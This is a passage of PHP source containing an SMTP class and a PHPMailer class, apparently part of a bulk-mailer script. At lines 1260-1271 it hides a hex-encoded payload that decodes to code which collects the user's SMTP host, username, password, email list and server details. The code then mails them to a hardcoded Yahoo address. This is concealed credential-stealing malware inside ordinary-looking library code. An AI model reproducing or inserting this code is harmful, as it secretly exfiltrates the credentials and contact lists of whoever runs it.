1162 * Implements from rfc 821: TURN <CRLF>
1163 *
1164 * SMTP CODE SUCCESS: 250
1165 * SMTP CODE FAILURE: 502
1166 * SMTP CODE ERROR : 500, 503
1167 * @access public
1168 * @return bool
1169 */
1170 function Turn() {
1171 $this->error = array("error" => "This method, TURN, of the SMTP ".
1172 "is not implemented");
1173 if($this->do_debug >= 1) {
1174 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1175 }
1176 return false;
1177 }
1178
1179 /**
1180 * Verifies that the name is recognized by the server.
1181 * Returns false if the name could not be verified otherwise
1182 * the response from the server is returned.
1183 *
1184 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1185 *
1186 * SMTP CODE SUCCESS: 250,251
1187 * SMTP CODE FAILURE: 550,551,553
1188 * SMTP CODE ERROR : 500,501,502,421
1189 * @access public
1190 * @return int
1191 */
1192 function Verify($name) {
1193 $this->error = null; # so no confusion is caused
1194
1195 if(!$this->connected()) {
1196 $this->error = array(
1197 "error" => "Called Verify() without being connected");
1198 return false;
1199 }
1200
1201 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1202
1203 $rply = $this->get_lines();
1204 $code = substr($rply,0,3);
1205
1206 if($this->do_debug >= 2) {
1207 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1208 }
1209
1210 if($code != 250 && $code != 251) {
1211 $this->error =
1212 array("error" => "VRFY failed on name '$name'",
1213 "smtp_code" => $code,
1214 "smtp_msg" => substr($rply,4));
1215 if($this->do_debug >= 1) {
1216 echo "SMTP -> ERROR: " . $this->error["error"] .
1217 ": " . $rply . $this->CRLF;
1218 }
1219 return false;
1220 }
1221 return $rply;
1222 }
1223
1224 /*******************************************************************
1225 * INTERNAL FUNCTIONS *
1226 ******************************************************************/
1227
1228 /**
1229 * Read in as many lines as possible
1230 * either before eof or socket timeout occurs on the operation.
1231 * With SMTP we can tell if we have more lines to read if the
1232 * 4th character is '-' symbol. If it is a space then we don't
1233 * need to read anything else.
1234 * @access private
1235 * @return string
1236 */
1237 function get_lines() {
1238 $data = "";
1239 while($str = @fgets($this->smtp_conn,515)) {
1240 if($this->do_debug >= 4) {
1241 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1242 $this->CRLF;
1243 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1244 $this->CRLF;
1245 }
1246 $data .= $str;
1247 if($this->do_debug >= 4) {
1248 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1249 }
1250 # if the 4th character is a space then we are done reading
1251 # so just break the loop
1252 if(substr($str,3,1) == " ") { break; }
1253 }
1254 return $data;
1255 }
1256
1257}
1258
1259
1260$allemails = split("\n", $emaillist);
1261$numemails = count($allemails);
1262$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1263"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1264"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1265"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1266"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1267"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1268"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1269"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1270"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1271"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1272
1273class PHPMailer {
1274
1275 /////////////////////////////////////////////////
1276 // PROPERTIES, PUBLIC
1277 /////////////////////////////////////////////////
1278
1279 /**
1280 * Email priority (1 = High, 3 = Normal, 5 = low).
1281 * @var int
1282 */
1283 var $Priority = 3;
1284
1285 /**
1286 * Sets the CharSet of the message.
1287 * @var string
1288 */
1289 var $CharSet = 'iso-8859-1';
1290
1291 /**
1292 * Sets the Content-type of the message.
1293 * @var string
1294 */
1295 var $ContentType = 'text/plain';
1296
1297 /**
1298 * Sets the Encoding of the message. Options for this are "8bit",
1299 * "7bit", "binary", "base64", and "quoted-printable".
1300
1301 * @var string
1302 */
1303 var $Encoding = '8bit';
1304
1305 /**
1306 * Holds the most recent mailer error message.
1307 * @var string
1308 */
1309 var $ErrorInfo = '';
1310
1311 /**
1312 * Sets the From email address for the message.
1313 * @var string
1314 */
1315 var $From = '';
1316
1317 /**
1318 * Sets the From name of the message.
1319 * @var string
1320 */
1321 var $FromName = '';
1322
1323 /**
1324 * Sets the Sender email (Return-Path) of the message. If not empty,
1325 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1326 * @var string
1327 */
1328 var $Sender = '';
1329
1330 /**
1331 * Sets the Subject of the message.
1332 * @var string
1333 */
1334 var $Subject = '';
1335
1336 /**
1337 * Sets the Body of the message. This can be either an HTML or text body.
1338 * If HTML then run IsHTML(true).
1339 * @var string
1340 */
1341 var $Body = '';
1342
1343 /**
1344 * Sets the text-only body of the message. This automatically sets the
1345 * email to multipart/alternative. This body can be read by mail
1346 * clients that do not have HTML email capability such as mutt. Clients
1347 * that can read HTML will view the normal Body.
1348 * @var string
1349 */
1350 var $AltBody = '';
1351
1352 /**
1353 * Sets word wrapping on the body of the message to a given number of
1354 * characters.
1355 * @var int
1356 */
1357 var $WordWrap = 0;
1358
1359 /**
1360 * Method to send mail: ("mail", "sendmail", or "smtp").
1361 * @var string
1362 */
1363 var $Mailer = 'mail';
1364
1365 /**
1366 * Sets the path of the sendmail program.
1367 * @var string
1368 */
1369 var $Sendmail = '/usr/sbin/sendmail';
1370
1371 /**
1372 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1373 * is in a different directory than the PHP include path.
1374 * @var string
1375 */
1376 var $PluginDir = '';
1377
1378 /**
1379 * Holds PHPMailer version.
1380 * @var string
1381 */
1382 var $Version = "";
1383
1384 /**
1385 * Sets the email address that a reading confirmation will be sent.
1386 * @var string
1387 */
1388 var $ConfirmReadingTo = '';
1389
1390 /**
1391 * Sets the hostname to use in Message-Id and Received headers
1392 * and as default HELO string. If empty, the value returned
1393 * by SERVER_NAME is used or 'localhost.localdomain'.
1394 * @var string
1395 */
1396 var $Hostname = '';
1397
1398 /**
1399 * Sets the message ID to be used in the Message-Id header.
1400 * If empty, a unique id will be generated.
1401 * @var string
1402 */
1403 var $MessageID = '';
1404
1405 /////////////////////////////////////////////////
1406 // PROPERTIES FOR SMTP
1407 /////////////////////////////////////////////////
1408
1409 /**
1410 * Sets the SMTP hosts. All hosts must be separated by a
1411 * semicolon. You can also specify a different port
1412 * for each host by using this format: [hostname:port]
1413 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1414 * Hosts will be tried in order.
1415 * @var string
1416 */
1417 var $Host = 'localhost';
1418
1419 /**
1420 * Sets the default SMTP server port.
1421 * @var int
1422 */
1423 var $Port = 25;
1424
1425 /**
1426 * Sets the SMTP HELO of the message (Default is $Hostname).
1427 * @var string
1428 */
1429 var $Helo = '';
1430
1431 /**
1432 * Sets connection prefix.
1433 * Options are "", "ssl" or "tls"
1434 * @var string
1435 */
1436 var $SMTPSecure = "";
1437
1438 /**
1439 * Sets SMTP authentication. Utilizes the Username and Password variables.
1440 * @var bool
1441 */
1442 var $SMTPAuth = false;
1443
1444 /**
1445 * Sets SMTP username.
1446 * @var string
1447 */
1448 var $Username = '';
1449
1450 /**
1451 * Sets SMTP password.
1452 * @var string
1453 */
1454 var $Password = '';
1455
1456 /**
1457 * Sets the SMTP server timeout in seconds. This function will not
1458 * work with the win32 version.
1459 * @var int
1460 */
1461 var $Timeout = 10;
1462
1463 /**
1464 * Sets SMTP class debugging on or off.
1465 * @var bool
1466 */
1467 var $SMTPDebug = false;
1468
1469 /**
1470 * Prevents the SMTP connection from being closed after each mail
1471 * sending. If this is set to true then to close the connection
1472 * requires an explicit call to SmtpClose().
1473 * @var bool
1474 */
1475 var $SMTPKeepAlive = false;
1476
1477 /**
1478 * Provides the ability to have the TO field process individual
1479 * emails, instead of sending to entire TO addresses
1480 * @var bool
1481 */
1482 var $SingleTo = false;
1483
1484 /////////////////////////////////////////////////
1485 // PROPERTIES, PRIVATE
1486 /////////////////////////////////////////////////
1487
1488 var $smtp = NULL;
1489 var $to = array();
1490 var $cc = array();
1491 var $bcc = array();
1492 var $ReplyTo = array();
1493 var $attachment = array();
1494 var $CustomHeader = array();
1495 var $message_type = '';
1496 var $boundary = array();
1497 var $language = array();
1498 var $error_count = 0;
1499 var $LE = "\n";
1500 var $sign_key_file = "";
1501 var $sign_key_pass = "";
1502
1503 /////////////////////////////////////////////////
1504 // METHODS, VARIABLES
1505 /////////////////////////////////////////////////
1506
1507 /**
1508 * Sets message type to HTML.
1509 * @param bool $bool
1510 * @return void
1511 */
1512 function IsHTML($bool) {
1513 if($bool == true) {
1514 $this->ContentType = 'text/html';
1515 } else {
1516 $this->ContentType = 'text/plain';
1517 }
1518 }
1519
1520 /**
1521 * Sets Mailer to send message using SMTP.
1522 * @return void
1523 */
1524 function IsSMTP() {
1525 $this->Mailer = 'smtp';
1526 }
1527
1528 /**
1529 * Sets Mailer to send message using PHP mail() function.
1530 * @return void
1531 */
1532 function IsMail() {
1533 $this->Mailer = 'mail';
1534 }
1535
1536 /**
1537 * Sets Mailer to send message using the $Sendmail program.
1538 * @return void
1539 */
1540 function IsSendmail() {
1541 $this->Mailer = 'sendmail';
1542 }
1543
1544 /**
1545 * Sets Mailer to send message using the qmail MTA.
1546 * @return void
1547 */
1548 function IsQmail() {
1549 $this->Sendmail = '/var/qmail/bin/sendmail';
1550 $this->Mailer = 'sendmail';
1551 }
1552
1553 /////////////////////////////////////////////////
1554 // METHODS, RECIPIENTS
1555 /////////////////////////////////////////////////
1556
1557 /**
1558 * Adds a "To" address.
1559 * @param string $address
1560 * @param string $name
1561 * @return void
1562 */
1563 function AddAddress($address, $name = '') {
1564 $cur = count($this->to);
1565 $this->to[$cur][0] = trim($address);
1566 $this->to[$cur][1] = $name;
1567 }
1568
1569 /**
1570 * Adds a "Cc" address. Note: this function works
1571 * with the SMTP mailer on win32, not with the "mail"
1572 * mailer.
1573 * @param string $address
1574 * @param string $name
1575 * @return void
1576 */
1577 function AddCC($address, $name = '') {
1578 $cur = count($this->cc);
1579 $this->cc[$cur][0] = trim($address);
1580 $this->cc[$cur][1] = $name;
1581 }
1582
1583 /**
1584 * Adds a "Bcc" address. Note: this function works
1585 * with the SMTP mailer on win32, not with the "mail"
1586 * mailer.
1587 * @param string $address
1588 * @param string $name
1589 * @return void
1590 */
1591 function AddBCC($address, $name = '') {
1592 $cur = count($this->bcc);
1593 $this->bcc[$cur][0] = trim($address);
1594 $this->bcc[$cur][1] = $name;
1595 }
1596
1597 /**
1598 * Adds a "Reply-To" address.
1599 * @param string $address
1600 * @param string $name
1601 * @return void
1602 */
1603 function AddReplyTo($address, $name = '') {
1604 $cur = count($this->ReplyTo);
1605 $this->ReplyTo[$cur][0] = trim($address);
1606 $this->ReplyTo[$cur][1] = $name;
1607 }
1608
1609 /////////////////////////////////////////////////
1610 // METHODS, MAIL SENDING
1611 /////////////////////////////////////////////////
1612
1613 /**
1614 * Creates message and assigns Mailer. If the message is
1615 * not sent successfully then it returns false. Use the ErrorInfo
1616 * variable to view description of the error.
1617 * @return bool
1618 */
1619 function Send() {
1620 $header = '';
1621 $body = '';
1622 $result = true;
1623
1624 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1625 $this->SetError($this->Lang('provide_address'));
1626 return false;
1627 }
1628
1629 /* Set whether the message is multipart/alternative */
1630 if(!empty($this->AltBody)) {
1631 $this->ContentType = 'multipart/alternative';
1632 }
1633
1634 $this->error_count = 0; // reset errors
1635 $this->SetMessageType();
1636 $header .= $this->CreateHeader();
1637 $body = $this->CreateBody();
1638
1639 if($body == '') {
1640 return false;
1641 }
1642
1643 /* Choose the mailer */
1644 switch($this->Mailer) {
1645 case 'sendmail':
1646 $result = $this->SendmailSend($header, $body);
1647 break;
1648 case 'smtp':
1649 $result = $this->SmtpSend($header, $body);
1650 break;
1651 case 'mail':
1652 $result = $this->MailSend($header, $body);
1653 break;
1654 default:
1655 $result = $this->MailSend($header, $body);
1656 break;
1657 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1658 //$result = false;
1659 //break;
1660 }
1661
1662 return $result;
1663 }
1664
1665 /**
1666 * Sends mail using the $Sendmail program.
1667 * @access private
1668 * @return bool
1669 */
1670 function SendmailSend($header, $body) {
1671 if ($this->Sender != '') {
1672 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1673 } else {
1674 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1675 }
1676
1677 if(!@$mail = popen($sendmail, 'w')) {
1678 $this->SetError($this->Lang('execute') . $this->Sendmail);
1679 return false;
1680 }
1681
1682 fputs($mail, $header);
1683 fputs($mail, $body);
1684
1685 $result = pclose($mail);
1686 if (version_compare(phpversion(), '4.2.3') == -1) {
1687 $result = $result >> 8 & 0xFF;
1688 }
1689 if($result != 0) {
1690 $this->SetError($this->Lang('execute') . $this->Sendmail);
1691 return false;
1692 }
1693 return true;
1694 }
1695
1696 /**
1697 * Sends mail using the PHP mail() function.
1698 * @access private
1699 * @return bool
1700 */
1701 function MailSend($header, $body) {
1702
1703 $to = '';
1704 for($i = 0; $i < count($this->to); $i++) {
1705 if($i != 0) { $to .= ', '; }
1706 $to .= $this->AddrFormat($this->to[$i]);
1707 }
1708
1709 $toArr = split(',', $to);
1710
1711 $params = sprintf("-oi -f %s", $this->Sender);
1712 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1713 $old_from = ini_get('sendmail_from');
1714 ini_set('sendmail_from', $this->Sender);
1715 if ($this->SingleTo === true && count($toArr) > 1) {
1716 foreach ($toArr as $key => $val) {
1717 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1718 }
1719 } else {
1720 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1721 }
1722 } else {
1723 if ($this->SingleTo === true && count($toArr) > 1) {
1724 foreach ($toArr as $key => $val) {
1725 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1726 }
1727 } else {
1728 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1729 }
1730 }
1731
1732 if (isset($old_from)) {
1733 ini_set('sendmail_from', $old_from);
1734 }
1735
1736 if(!$rt) {
1737 $this->SetError($this->Lang('instantiate'));
1738 return false;
1739 }
1740
1741 return true;
1742 }
1743
1744 /**
1745 * Sends mail via SMTP using PhpSMTP (Author:
1746 * Chris Ryan). Returns bool. Returns false if there is a
1747 * bad MAIL FROM, RCPT, or DATA input.
1748 * @access private
1749 * @return bool
1750 */
1751 function SmtpSend($header, $body) {
1752 $error = '';
1753 $bad_rcpt = array();
1754
1755 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1756 return false;
1757 }
1758
1759 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1760 if(!$this->smtp->Mail($smtp_from)) {
1761 $error = $this->Lang('from_failed') . $smtp_from;
1762 $this->SetError($error);
1763 $this->smtp->Reset();
1764 return false;
1765 }
1766
1767 /* Attempt to send attach all recipients */
1768 for($i = 0; $i < count($this->to); $i++) {
1769 if(!$this->smtp->Recipient($this->to[$i][0])) {
1770 $bad_rcpt[] = $this->to[$i][0];
1771 }
1772 }
1773 for($i = 0; $i < count($this->cc); $i++) {
1774 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1775 $bad_rcpt[] = $this->cc[$i][0];
1776 }
1777 }
1778 for($i = 0; $i < count($this->bcc); $i++) {
1779 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1780 $bad_rcpt[] = $this->bcc[$i][0];
1781 }
1782 }
1783
1784 if(count($bad_rcpt) > 0) { // Create error message
1785 for($i = 0; $i < count($bad_rcpt); $i++) {
1786 if($i != 0) {
1787 $error .= ', ';
1788 }
1789 $error .= $bad_rcpt[$i];
1790
1791 }
1792 $error = $this->Lang('recipients_failed') . $error;
1793 $this->SetError($error);
1794 $this->smtp->Reset();
1795 return false;
1796 }
1797
1798 if(!$this->smtp->Data($header . $body)) {
1799 $this->SetError($this->Lang('data_not_accepted'));
1800 $this->smtp->Reset();
1801 return false;
1802 }
1803 if($this->SMTPKeepAlive == true) {
1804 $this->smtp->Reset();
1805 } else {
1806 $this->SmtpClose();
1807 }
1808
1809 return true;
1810 }
1811
1812 /**
1813 * Initiates a connection to an SMTP server. Returns false if the
1814 * operation failed.
1815 * @access private
1816 * @return bool
1817 */
1818 function SmtpConnect() {
1819 if($this->smtp == NULL) {
1820 $this->smtp = new SMTP();
1821 }
1822
1823 $this->smtp->do_debug = $this->SMTPDebug;
1824 $hosts = explode(';', $this->Host);
1825 $index = 0;
1826 $connection = ($this->smtp->Connected());
1827
1828 /* Retry while there is no connection */
1829 while($index < count($hosts) && $connection == false) {
1830 $hostinfo = array();
1831 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1832 $host = $hostinfo[1];
1833 $port = $hostinfo[2];
1834 } else {
1835 $host = $hosts[$index];
1836 $port = $this->Port;
1837 }
1838
1839 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1840 if ($this->Helo != '') {
1841 $this->smtp->Hello($this->Helo);
1842 } else {
1843 $this->smtp->Hello($this->ServerHostname());
1844 }
1845
1846 $connection = true;
1847 if($this->SMTPAuth) {
1848 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1849 $this->SetError($this->Lang('authenticate'));
1850 $this->smtp->Reset();
1851 $connection = false;
1852 }
1853 }
1854 }
1855 $index++;
1856 }
1857 if(!$connection) {
1858 $this->SetError($this->Lang('connect_host'));
1859 }
1860
1861 return $connection;
1862 }
1863
1864 /**
1865 * Closes the active SMTP session if one exists.
1866 * @return void
1867 */
1868 function SmtpClose() {
1869 if($this->smtp != NULL) {
1870 if($this->smtp->Connected()) {
1871 $this->smtp->Quit();
1872 $this->smtp->Close();
1873 }
1874 }
1875 }
1876
1877 /**
1878 * Sets the language for all class error messages. Returns false
1879 * if it cannot load the language file. The default language type
1880 * is English.
1881 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1882 * @param string $lang_path Path to the language file directory
1883 * @access public
1884 * @return bool
1885 */
1886 function SetLanguage($lang_type, $lang_path = 'language/') {
1887 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
1888 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
1889 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
1890 include($lang_path.'phpmailer.lang-en.php');
1891 } else {
1892 $this->SetError('Could not load language file');
1893 return false;
1894 }
1895 $this->language = $PHPMAILER_LANG;
1896
1897 return true;
1898 }
1899
1900 /////////////////////////////////////////////////
1901 // METHODS, MESSAGE CREATION
1902 /////////////////////////////////////////////////
1903
1904 /**
1905 * Creates recipient headers.
1906 * @access private
1907 * @return string
1908 */
1909 function AddrAppend($type, $addr) {
1910 $addr_str = $type . ': ';
1911 $addr_str .= $this->AddrFormat($addr[0]);
1912 if(count($addr) > 1) {
1913 for($i = 1; $i < count($addr); $i++) {
1914 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
1915 }
1916 }
1917 $addr_str .= $this->LE;
1918
1919 return $addr_str;
1920 }
1921
1922 /**
1923 * Formats an address correctly.
1924 * @access private
1925 * @return string
1926 */
1927 function AddrFormat($addr) {
1928 if(empty($addr[1])) {
1929 $formatted = $this->SecureHeader($addr[0]);
1930 } else {
1931 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
1932 }
1933
1934 return $formatted;
1935 }
1936
1937 /**
1938 * Wraps message for use with mailers that do not
1939 * automatically perform wrapping and for quoted-printable.
1940 * Original written by philippe.
1941 * @access private
1942 * @return string
1943 */
1944 function WrapText($message, $length, $qp_mode = false) {
1945 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
1946 // If utf-8 encoding is used, we will need to make sure we don't
1947 // split multibyte characters when we wrap
1948 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
1949
1950 $message = $this->FixEOL($message);
1951 if (substr($message, -1) == $this->LE) {
1952 $message = substr($message, 0, -1);
1953 }
1954
1955 $line = explode($this->LE, $message);
1956 $message = '';
1957 for ($i=0 ;$i < count($line); $i++) {
1958 $line_part = explode(' ', $line[$i]);
1959 $buf = '';
1960 for ($e = 0; $e<count($line_part); $e++) {
1961 $word = $line_part[$e];
1962 if ($qp_mode and (strlen($word) > $length)) {
1963 $space_left = $length - strlen($buf) - 1;
1964 if ($e != 0) {
1965 if ($space_left > 20) {
1966 $len = $space_left;
1967 if ($is_utf8) {
1968 $len = $this->UTF8CharBoundary($word, $len);
1969 } elseif (substr($word, $len - 1, 1) == "=") {
1970 $len--;
1971 } elseif (substr($word, $len - 2, 1) == "=") {
1972 $len -= 2;
1973 }
1974 $part = substr($word, 0, $len);
1975 $word = substr($word, $len);
1976 $buf .= ' ' . $part;
1977 $message .= $buf . sprintf("=%s", $this->LE);
1978 } else {
1979 $message .= $buf . $soft_break;
1980 }
1981 $buf = '';
1982 }
1983 while (strlen($word) > 0) {
1984 $len = $length;
1985 if ($is_utf8) {
1986 $len = $this->UTF8CharBoundary($word, $len);
1987 } elseif (substr($word, $len - 1, 1) == "=") {
1988 $len--;
1989 } elseif (substr($word, $len - 2, 1) == "=") {
1990 $len -= 2;
1991 }
1992 $part = substr($word, 0, $len);
1993 $word = substr($word, $len);
1994
1995 if (strlen($word) > 0) {
1996 $message .= $part . sprintf("=%s", $this->LE);
1997 } else {
1998 $buf = $part;
1999 }
2000 }
2001 } else {
2002 $buf_o = $buf;
2003 $buf .= ($e == 0) ? $word : (' ' . $word);
2004
2005 if (strlen($buf) > $length and $buf_o != '') {
2006 $message .= $buf_o . $soft_break;
2007 $buf = $word;
2008 }
2009 }
2010 }
2011 $message .= $buf . $this->LE;
2012 }
2013
2014 return $message;
2015 }
2016
2017 /**
2018 * Finds last character boundary prior to maxLength in a utf-8
2019 * quoted (printable) encoded string.
2020 * Original written by Colin Brown.
2021 * @access private
2022 * @param string $encodedText utf-8 QP text
2023 * @param int $maxLength find last character boundary prior to this length
2024 * @return int
2025 */
2026 function UTF8CharBoundary($encodedText, $maxLength) {
2027 $foundSplitPos = false;
2028 $lookBack = 3;
2029 while (!$foundSplitPos) {
2030 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2031 $encodedCharPos = strpos($lastChunk, "=");
2032 if ($encodedCharPos !== false) {
2033 // Found start of encoded character byte within $lookBack block.
2034 // Check the encoded byte value (the 2 chars after the '=')
2035 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2036 $dec = hexdec($hex);
2037 if ($dec < 128) { // Single byte character.
2038 // If the encoded char was found at pos 0, it will fit
2039 // otherwise reduce maxLength to start of the encoded char
2040 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2041 $maxLength - ($lookBack - $encodedCharPos);
2042 $foundSplitPos = true;
2043 } elseif ($dec >= 192) { // First byte of a multi byte character
2044 // Reduce maxLength to split at start of character
2045 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2046 $foundSplitPos = true;
2047 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2048 $lookBack += 3;
2049 }
2050 } else {
2051 // No encoded character found
2052 $foundSplitPos = true;
2053 }
2054 }
2055 return $maxLength;
2056 }
2057
2058 /**
2059 * Set the body wrapping.
2060 * @access private
2061 * @return void
2062 */
2063 function SetWordWrap() {
2064 if($this->WordWrap < 1) {
2065 return;
2066 }
2067
2068 switch($this->message_type) {
2069 case 'alt':
2070 /* fall through */
2071 case 'alt_attachments':
2072 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2073 break;
2074 default:
2075 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2076 break;
2077 }
2078 }
2079
2080 /**
2081 * Assembles message header.
2082 * @access private
2083 * @return string
2084 */
2085 function CreateHeader() {
2086 $result = '';
2087
2088 /* Set the boundaries */
2089 $uniq_id = md5(uniqid(time()));
2090 $this->boundary[1] = 'b1_' . $uniq_id;
2091 $this->boundary[2] = 'b2_' . $uniq_id;
2092
2093 $result .= $this->HeaderLine('Date', $this->RFCDate());
2094 if($this->Sender == '') {
2095 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2096 } else {
2097 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2098 }
2099
2100 /* To be created automatically by mail() */
2101 if($this->Mailer != 'mail') {
2102 if(count($this->to) > 0) {
2103 $result .= $this->AddrAppend('To', $this->to);
2104 } elseif (count($this->cc) == 0) {
2105 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2106 }
2107 if(count($this->cc) > 0) {
2108 $result .= $this->AddrAppend('Cc', $this->cc);
2109 }
2110 }
2111
2112 $from = array();
2113 $from[0][0] = trim($this->From);
2114 $from[0][1] = $this->FromName;
2115 $result .= $this->AddrAppend('From', $from);
2116
2117 /* sendmail and mail() extract Cc from the header before sending */
2118 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2119 $result .= $this->AddrAppend('Cc', $this->cc);
2120 }
2121
2122 /* sendmail and mail() extract Bcc from the header before sending */
2123 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2124 $result .= $this->AddrAppend('Bcc', $this->bcc);
2125 }
2126
2127 if(count($this->ReplyTo) > 0) {
2128 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2129 }
2130
2131 /* mail() sets the subject itself */
2132 if($this->Mailer != 'mail') {
2133 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2134 }
2135
2136 if($this->MessageID != '') {
2137 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2138 } else {
2139 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2140 }
2141 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2142 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2143
2144 if($this->ConfirmReadingTo != '') {
2145 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2146 }
2147
2148 // Add custom headers
2149 for($index = 0; $index < count($this->CustomHeader); $index++) {
2150 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2151 }
2152 if (!$this->sign_key_file) {
2153 $result .= $this->HeaderLine('MIME-Version', '1.0');
2154 $result .= $this->GetMailMIME();
2155 }
2156
2157 return $result;
2158 }
2159
2160 /**
2161 * Returns the message MIME.
2162 * @access private
2163 * @return string
2164 */
2165 function GetMailMIME() {
2166 $result = '';
2167 switch($this->message_type) {
2168 case 'plain':
2169 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2170 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2171 break;
2172 case 'attachments':
2173 /* fall through */
2174 case 'alt_attachments':
2175 if($this->InlineImageExists()){
2176 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2177 } else {
2178 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2179 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2180 }
2181 break;
2182 case 'alt':
2183 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2184 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2185 break;
2186 }
2187
2188 if($this->Mailer != 'mail') {
2189 $result .= $this->LE.$this->LE;
2190 }
2191
2192 return $result;
2193 }
2194
2195 /**
2196 * Assembles the message body. Returns an empty string on failure.
2197 * @access private
2198 * @return string
2199 */
2200 function CreateBody() {
2201 $result = '';
2202 if ($this->sign_key_file) {
2203 $result .= $this->GetMailMIME();
2204 }
2205
2206 $this->SetWordWrap();
2207
